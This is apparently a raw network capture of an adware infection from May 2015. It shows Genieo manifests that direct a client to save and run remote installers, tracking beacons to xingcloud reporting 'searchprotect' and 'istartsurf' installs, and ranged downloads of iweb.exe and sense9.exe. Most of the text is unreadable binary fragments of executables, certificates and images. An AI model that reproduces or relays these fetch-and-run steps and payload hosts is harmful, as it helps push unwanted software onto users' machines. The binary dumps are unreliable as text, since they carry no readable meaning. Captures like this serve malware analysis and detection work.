ertificate 30.."0...*.H.............0...............2&..PL...,..2....:
..tH...`JG.%..*...s.c%[email protected]"1.5?..
s.....3[...u......]...R0..Z}....l..I.Y.....j\H.q...#.uw.4qz.#.J.....@2
$"..$l.B.......D.ye..(..2.........@...... ...."... E..0M,..b{.^..s'...
.f.6.pr4.J........'j..........0...0...U.......0.0l..U. .e0c0a..`.H...E
....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......0...hXXp://w
ww.symauth.com/rpa0...U.%..0... .......0...U...........0... .....0....
..0!..U....0...0.1.0...U....TGV-B-2760...U......;O}a.!..u...au..eUNp0.
..U.#..0.....e......0..C9...3130...*.H.............(.&..Dgr.Ve..#.<<< skipped >>>

GET /partner/gim394750002/release/live/partner_manifest.xml HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: fSR/WG3mvOl/P H64HSbQTPftoC5TajAbKNXVJBRI6y2Y0TrEwRawmO6hhJPHjyfiJmNduvRahI=

x-amz-request-id: 2FDE27D115C59633

Date: Fri, 15 May 2015 23:03:20 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:45 GMT

ETag: "53b4c24db1dafc7e0844c8b6c2b9b8a6"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 550

Server: AmazonS3
<manifest version="1">.    <file unique_name="gim394750002" p
ath="\genieo_temp\genieo_setup.gen" url="hXXp://download.genieo.com/pa
rtner/gim394750002/release/r16741/genieo_setup.gen" version="1.0.400" 
revision="16741" md5="78b9f8e478525a7f2b3734230010b4cc">.        &l
t;action type="save" timeout="600"/>.        <action type="run"/
>.    </file>.    <updater_manifest_link url="hXXp://downl
oad.genieo.com/core/release/r16741/updater_manifest.xml"/>.    <
core_manifest_link url="hXXp://download.genieo.com/core/release/r16741
/manifest.xml"/>.</manifest>.....


GET /partner/gim394750002/release/r16741/genieo_setup.gen HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: wLtbkp1NzOBMlQCRXp6Iefm1PFPU6AyGmJc/9gEJ6jx02Lh7hgtR7WBryp5aBWtHO4NnlOpgYpY=

x-amz-request-id: 457822B7CC7F6CAA

Date: Fri, 15 May 2015 23:03:20 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:30 GMT

ETag: "78b9f8e478525a7f2b3734230010b4cc"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 477720

Server: AmazonS3
bbbbaaaarrrrbbbbaaaarrrr(6.aflyaalya..ya.lyaelya%lyaelyaelyaelyaelyael
yaelyaelyaelya.lyaks.oe.p.D.x-.M-...Y.......Y......L..E...E..A!#*A....
KatkAlyaelyaT..[....................................D...............7.
......elyaelyaelyaelyaelyaelya5)ya)m|a..c*elyaelya.lv`nm.ae0yae.xaehya
Y^yae|yae.yael9ae|yaenyaalyaclyaalyaelyaelzaehya..~agly.eliae|yaeliae|
yaelyaulyaelyaelya..ya.lyae.{a.tyaelyaelya.T~a.}yaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyae.ya.nyaelyaelyaelyaelyaelyaelyaK.
...lya?6yae|yae0yaehyaelyaelyaelyaEly.K.....ya.}yae.yae~yae.yaelyaelya
elya%ly!K....lya..xae.yaehyae.yaelyaelyaelya%ly.K.....yae.yae,{aelyael
yaelyaelyaelya.ly.K....lya.tyae.{aevyae.yaelyaelyaelya%ly!elyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya0.
...0..ic.J..u'.)m.h.1yu.t.[.y.-h)..|..i..i.y1.%l.#dly23.L.[.y. ..1..q.
p .!e...e.<m.).1..q.p<.!e......a.q=.%l..elyn.* n.:/n.9...G4.j..b
..4q...R...n.*(n..v. 9v.(.z......c.71c.4...n.*)n.)ib......qn..r..).1.!
..p$.!e.<.a.<u5.<.5..m.y-.%l..q... .}X..v.......!.....Q.l-.,y
...<u.9..i.x6.).qely. .qael.t5.9a..!6.y-.%l..q.L9.,y6...$i.<..Lq
ae<....O#e;.t=.9a..u6....q... .)..d.t9.9a:2J.>..qe.5Ea.._'l..6..
yaly72.-cm..c.#..d_.ZP.G#e.;....yaly.!mq.m..c.o>.{..e.e..*...E.<<< skipped >>>

GET /core/release/r16741/updater_manifest.xml HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: alxxwfTSzTPHxkvcLiDCneiiQsTRwlGuOWZzmuSbEz4QiaYElbd1WpdG8eCnz3OYgt1Qeajhp6Y=

x-amz-request-id: 558CFB71234F1EFF

Date: Fri, 15 May 2015 23:03:25 GMT

Last-Modified: Mon, 20 Oct 2014 09:50:50 GMT

ETag: "033e90ffb050eb32705a3c56d2bc65d6"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 297

Server: AmazonS3
<manifest version="1">.    <file unique_name="updater" path="
\genieo_temp\InstallGenieo.gen" url="hXXp://download.genieo.com/core/r
elease/r16741/InstallGenieo.gen" version="2.7.688" revision="16741">
;.        <action type="save" timeout="120"/>.        <action
 type="run"/>.    </file>.</manifest>.HTTP/1.1 200 OK..
x-amz-id-2: alxxwfTSzTPHxkvcLiDCneiiQsTRwlGuOWZzmuSbEz4QiaYElbd1WpdG8e
Cnz3OYgt1Qeajhp6Y=..x-amz-request-id: 558CFB71234F1EFF..Date: Fri, 15 
May 2015 23:03:25 GMT..Last-Modified: Mon, 20 Oct 2014 09:50:50 GMT..E
Tag: "033e90ffb050eb32705a3c56d2bc65d6"..Accept-Ranges: bytes..Content
-Type: application/octet-stream..Content-Length: 297..Server: AmazonS3
..<manifest version="1">.    <file unique_name="updater" path
="\genieo_temp\InstallGenieo.gen" url="hXXp://download.genieo.com/core
/release/r16741/InstallGenieo.gen" version="2.7.688" revision="16741"&
gt;.        <action type="save" timeout="120"/>.        <acti
on type="run"/>.    </file>.</manifest>.....


GET /core/release/r16741/manifest.xml HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: zScPRT49adldCbsQI Kz bqV9nTB sMzUxYU61V6prSgZ5Ee8adNpRBN0QnmRFH0ojdkyad9JsM=

x-amz-request-id: 3C71A290163DFC6E

Date: Fri, 15 May 2015 23:03:25 GMT

Last-Modified: Mon, 20 Oct 2014 09:50:36 GMT

ETag: "fd1e7c4b8f0e6b33f94043e682a1a802"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 644

Server: AmazonS3
<manifest version="1">.    <file unique_name="trayapp" path="
\genieo_temp\trayapp_setup.gen" url="hXXp://download.genieo.com/core/r
elease/r16741/trayapp_setup.gen" version="2.7.688" revision="16741" md
5="6dd988fd9f0ac122be346470a6a76c20">.        <action type="save
" timeout="480"/>.        <action type="run"/>.    </file&
gt;..    <file unique_name="framework" path="\genieo_temp\framework
_setup.gen" url="hXXp://download.genieo.com/core/release/r16741/framew
ork_setup.gen" version="2.7.688" revision="16741" md5="34c98936c21425a
be1a3587cfd4c47e5">.        <action type="save" timeout="600"/&g
t;.        <action type="run"/>.    </file>.</manifest&
gt;.....


GET /core/release/r16741/trayapp_setup.gen HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: vBD5vlFP/qpfkGAiW9ZVP/MdEdwAM6OtY7Z9cOfPRWFaXjOrcJ2o1t0LMgpflobrwGqM1NICnsE=

x-amz-request-id: EDF7D9030AA59A58

Date: Fri, 15 May 2015 23:03:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:50:39 GMT

ETag: "6dd988fd9f0ac122be346470a6a76c20"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 1738176

Server: AmazonS3
bbbbaaaarrrrbbbbaaaarrrr(6.aflyaalya..ya.lyaelya%lyaelyaelyaelyaelyael
yaelyaelyaelya.lyaks.oe.p.D.x-.M-...Y.......Y......L..E...E..A!#*A....
KatkAlyaelyaT..[....................................D...............7.
......elyaelyaelyaelyaelyaelya5)ya)m|a..c*elyaelya.lv`nm.ae0yae.xaehya
Y^yae|yae.yael9ae|yaenyaalyaclyaalyaelyae.{aehyaw.cagly.eliae|yaeliae|
yaelyaulyaelyaelya..ya.lyae.{a.`yaelyaelya-.ca.}yaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyae.ya.nyaelyaelyaelyaelyaelyaelyaK.
...lya?6yae|yae0yaehyaelyaelyaelyaEly.K.....ya.}yae.yae~yae.yaelyaelya
elya%ly!K....lya..xae.yaehyae.yaelyaelyaelya%ly.K.....yae.yae,{aelyael
yaelyaelyaelya.ly.K....lya.`yae.{aebyae.yaelyaelyaelya%ly!elyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya0.
...0..ic.J..u'.)m.h.1yu.t.[.y.-h)..|..i..i.y1.%l.#dly23.L.[.y. ..1..q.
p .!e...e.<m.).1..q.p<.!e......a.q=.%l..elyn.* n.:/n.9...G4.j..b
..4q...R...n.*(n..v. 9v.(.z......c.71c.4...n.*)n.)ib......qn..r..).1.!
..p$.!e.<.a.<u5.<.5..m.y-.%l..q... .}X..v.......!.....Q.l-.,y
...<u.9..i.x6.).qely. .qael.t5.9a..!6.y-.%l..q.L9.,y6...$i.<..Lq
ae<....O#e;.t=.9a..u6....q... .)..d.t9.9a:2J.>..qe.5Ea.._'l..6..
yaly72.-cm..c.#..d_.ZP.G#e.;....yaly.!mq.m..c.o>.{..e.e..*...E.<<< skipped >>>

GET /services/xml/rss/nyt/InternationalHome.xml HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 21:41:29 UTC

If-None-Match: 1431726089000

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 304 Not Modified

Content-Length: 0

Date: Fri, 15 May 2015 23:04:58 GMT

Content-Type: text/html;charset=UTF-8

Server: FeedsPortal

Connection: close

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:31:22 GMT

Last-Modified: Thu, 14 May 2015 08:30:04 GMT

ETag: "55545d0c-6721"

Expires: Fri, 15 May 2015 22:41:22 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 458

X-Cache: Hit from cloudfront

Via: 1.1 7082aa85e5086c1d55211b759fc5c155.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Y45MEnSQXmy1owYUQmkvp5jxcyAe8Lv-TVLvh5iA38PE41oUdzfNWQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:08 GMT

Content-Type: application/ocsp-response

Content-Length: 1493

Connection: keep-alive

Set-Cookie: __cfduid=d87309ded73b2e54f888d3745210cf9361431731168; expires=Sat, 14-May-16 23:06:08 GMT; path=/; domain=.globalsign.com; HttpOnly

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: 42993dd61f95c813af59476fad42941add9cfce3

Expires: Fri, 15 May 2015 23:37:01 GMT

Last-Modified: Fri, 15 May 2015 11:37:01 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1e727ddbbfde0f93-FRA
0..........0..... .....0......0...0.......9e.K.....__..........2015051
5113701Z0u0s0K0... ........)[email protected]...^./.....2k.
..!'=e.,.KdXe.I..6m....20150515113701Z....20150515233701Z0...*.H......
.....9&.....=.6.........C..u.........kb.d....G.......R.&z....$M...Fy..
/.O";g.........d. X..nq.T4..*........i...4.)..P.4.5...........q...z.Z.
.....#..F&..O.e.d.....J...$.9.. ...|[email protected]..............~uOD.b...S.c..
'D..0.......[.;....,.h.......Y.....e.*......^f..>......0...0...0...
........!J .v...._......60...*.H........0Z1.0...U....BE1.0...U....Glob
alSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20...1503
24152349Z..150624142349Z0..1.0...U....BE1.0...U....GlobalSign nv-sa1C0
A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder - 11.0.
..U....201503241623000.."0...*.H.............0.........8..|Z.....|j...
...q..*d....Q...{.;G....%.!(9.gD...k.. ....(....~&.(........a'.o...%..
ap...x...5*.........Vx.......55.....7..5....kL..E1M...L....?...s....#.
..,n........../...'..:...z..R.....w...Fw.n...nd.e....0v.^.......">G
..}|..z.Y*<:./.D&.j.9.)../...rD.A........0..0...U....0.0...U.......
....0...U.%..0... .......0... .....0......0...U.......9e.K.....__.....
...0...U.#..0....J.Z.M1...^./.....2k0...*.H................}[...xH..t-
N..e...cSd..0.4.&.m......2J...r.....4.d..m... .>..uS.w...4.>.(..
.A.....h...:=..\q.l.hf.t"...=........=..Z...Z.....K.v...Y. ........'B.
C...U3........h?....b...!1.<h.%4...o.h.{..!.!Y.G....."...H.Q.q.>
..a.<.......G.7..X.OM..>7|b.....i.q....u..kF..<<< skipped >>>

GET /v4/searchprotect/C:Program Files (x86)XTabProtectService.exe?action0=xa.geoip&action1=visit&action2=install HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:03:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.01 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 20
15 23:03:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.01 ms","message":"store 4 ac
tion and 0 update "}..0..

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?80234f3548c663b9 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT

If-None-Match: "804047d4e66d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT

ETag: "804047d4e66d01:0"

Cache-Control: max-age=86400

Date: Fri, 15 May 2015 23:05:36 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Fri, 15 May 2015 23:05:36 GMT..Conn
ection: keep-alive..

GET /v4/sof-installer/MAS_WIN7X64ADA2_adm_0FEBFBFF000306C3?action=smt.chromesyn.exist HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Accept-Encoding: gzip, deflate

Host: xa.xingcloud.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:03:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57.............V*.I,)V.R..V.Q*..M.......r......... .....T.C......<.
...........T..Z.....H.....0..

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:02:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 20
15 23:02:59 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:33 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698357"

Last-Modified: Fri, 15 May 2015 13:59:17 GMT

Cache-Control: max-age=3419

Content-Length: 250000

Content-Range: bytes 0-249999/10540512

Content-Type: application/x-msdownload

X-HW: 1431730953.dop009.am4.t,1431730953.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@.......................... 
......./........ ..............................p........... ..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]...`....... [email protected].... .
......"[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



L...F......*....MR9. .........lV....p..l..-c?.2...sC.''.l.lpQv..=!y...
....i.....txj.IYr.lS].\..9#*.A...d.[..H=0,)'0hb........Gk....,.a3.e|Z[
...H.<....:.%;. 'RX.b.3.E.eR.P...c.|...........s../.....0..a.Hv....
.'{.])N@}......T.b...y.G.....=SIRB...%...6.'.."_...o...3vg.p...pT_.C..
....|..6.2.. .vM...6A.....]...~"...ToH.e.c..j.....?..$.8*....g.....7..
>ig..j......q..TB...B....>a...}.C.M?@.....)D.\1...Z..DG.H..l.*.G
KR~~......j..!?.uj..#I........{FQp.....4..V....). .8 .......d.......V.
:.......xM.{#...|..&..n.......`.................]........jm.....)T....
3Qy.;.8_.......d..F$=..-...4..L....C:.....n.n..>..y.#P...%...!...&g
t;u..x..>*)....>...GP.N. ..........Os...1.......w....?la....mW&l
t;|..h|....q.|..-...J1..3....8oM.............c.L....i..,..S]. ....u..{
..[.3...!7D.J./.X..*U......P.....:7....K..BeCF<p_.zz.t.y...p....\0E
....6....>\.J.q[..I.d......[.#...r....Q...#B...t.o..f.#W.....m....T
[{Q.........,......m5<.{...(.q..........s..B.U..5.q........R<.IF
.2...=...T....`}......`.......i......6.W%i......~...o.L...T.o....Z...^
'...WNc...._.G..Z.j.~.E....[...&......s.B..d......[z.1.T...g...4En2.0.
....np..... ..X.I...........[..r.....5iX..@;..j.-.lMG.3~.....8.^....I#
...L.}]...!.P....!.=k.!."..d..../...#......3..A.zOP....>...........
..%....`U..F. ........FI.x.3_.<=....=..!.....A...8...iQpB.u.../..x!
p.Y=...N..8.yj.CQ/...0d. ...l .gQp..."....j...1..#...n*....{8.<_b.N
R..S..O.=<.#0z...k.{..j.`...s,..s.k.....\.^A.M&xZ....q.I0....`Or...
..}4...i.tNM...V ...]...=../r...<6J1/....3.`)......*.kO.4...$f.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.J6.W.Ak%.7.`.v..._....ve.h.D.;.F.Wo6Q!o.n..?.....Lu.a..1...........c.
.1.....?Z....D4K..F.."......{q....F....ac..."...E,yN..n~..T...:..'6...
...U...B..v$R..$..|#..Z.u.^...{..m...1I...#...,.~#J....U...II.........
.?\...v.|{\...H.Y)H.....C...-...G.l..0.s....H;A,...(.NQ(..2.3"..^.....
.8..g.r.:O[...7.%7.....t. #..eu.M.^.|...]...S..........rE...9. Y..Jh$.
._L.ox\7]..PLn...P`QB.G..?../.....0...=!.......P....a}[email protected]|...=.
.d....U .L...2...S..T.@.../wi...3.y..Q....,{*=c.....q.........cT...Y..
[.Z .u..........(.y.W...9=.[.G......o..'.>...M9..mZz.'U......T....Y
E....G0....P.r.k..O..!....L.....#......p<^.......^A"*[email protected]
...^..4. ....;....[WZ...W.......$9...<.&....;..&.z..~..0..9...c....
.c....R.U..e..$.d...C........0...~...C.*....(..Q.r.$...K...mV..k%.=..a
.p.[.....%..."_.....{[email protected].'y.y.6h`..$=..d..[QL#.e..
`8.......,H).m96.j......*....K......@hZA.|A...#a...E..@...._.~..6.8...
...(....tc.I.q.8.c.....1*.....E.....A......]2F;.:c...R.rZ#T..".r{w;i[m
 ......m ..`.P...l.........M.....|.7=C|?...r|.6..c...R:...:.L..6..1...
.O}..o."K..=...j#....o....:...`...a>.......G].[..).......3.=..;I:i.
d'[email protected].%?..>M...h....>p.=....N...1...H.co..A...=..
....u......d.....,_.[B.\..cZ..-.....oY.0.;7m..F.J.2.......`..R.h.$....
oj..Bi..U..Z...dU.D....\..C5.^7.\....w... ...................T9P.v$..)
.Z_..d....,q.r.AVW...X..z.ek...........&..K*f.... b8:....T..FP...T.!..
...:_2.L.ew..jo.Z_.7&k..S.J7$....(;.....mVu.....YN|j.U...7...;C/CHH1o.
_7U..6..0.../......M_...d....3......_.c>@n.e.im..S.....5.{h..d.<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



...3.P.....L.$(..a....V..Nk(tdZq...E.]Zw-.[\}...qS."...K.##.;..[...D.(
...P6..*....U3o.f.....b .1..}2..p...l....]-H...........u*.4...QI.... .
aK%...D.....I..m..6.(.....1..]......g.G....M..}.;.y.hK\.=....9...&9...
....],....m.r...........e. ..O...Uy..J.%.V...WJ.).l.....&...A.q.A...8.
..."..,..v.ws...[....z..s"nH(B....1......|L.{w..pQ.}..#....".f.B6.G.|.
}..X........`r..!..J*._.s.......6J.^..%....xf...F......C...O..;....^..
.f..N.x.I....5='..X....,n.R....M|....bp..\.x..........Y.!..6c0n,......
d.......FgP.VI..XN.H..x.. ......u.....e.0..EOx.....Bt..L...G.Z.4..U..J
.W.............b.-.r.v..o1......|.|.k..`....g.qSr'/.4(......k..Ey.....
..I.c.s&&..d..k...>......pj...*w..f{Le2.X1.J...1..sm|........e..l.g
|[email protected].*N.....,u...zY...O...A.[.........A.0.
...DP...1R...O'.....}.X..C....j bTVw.c..Fr~.....z.....Q.(Q.`....u=#A.*
.s..^....2.>.'^...f...%}s..;.Myo....9>WAI:.g..q........L.RT.gTk.
....rX#..j....t..qSG..:....E.;...q..v......Q..1.{E.Y.......~`5..*FhH.C
O.(#T.A..NC.m..#=W..cs.h....O..E.d......nyJ....*..s...z..=.v.....T....
.\VC.D8..^M~.}.rYWW.m#.0Xe....O..*.p.....|........Vbi...J.<........
.......=P..K..X..ub...HwPV|.5|,..v.%.^.3.. @..^.Nr.V..3A.......U.."...
...N...N.P....1 2..V.......(.j.^.m..........;.. .S.K..........K..z.j..
y>...$I...B....C.h.>.|.[...0.-._q.gcC0,_......|...../Y....Y.|>
;;5..p..t.q.......I.J.0.....%.l....!..O.`..|:.#l..?u$...6... ?..8n.l.S
....J..Z...ea?....5...d..G...9'..V. n?. .D.{..xm.F........4..3....6.`K
..a....$o......L.).".`._....i/M2.:....X....X2...ti.E..$..J..`../..<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:34 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698357"

Last-Modified: Fri, 15 May 2015 13:59:17 GMT

Cache-Control: max-age=3418

Content-Length: 250000

Content-Range: bytes 1750000-1999999/10540512

Content-Type: application/x-msdownload

X-HW: 1431730955.dop009.am4.t,1431730954.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"
.\..de....*W.V...{E..-.m....$..^3.....Q...z-.w.G..ym.KQ..::[email protected][...
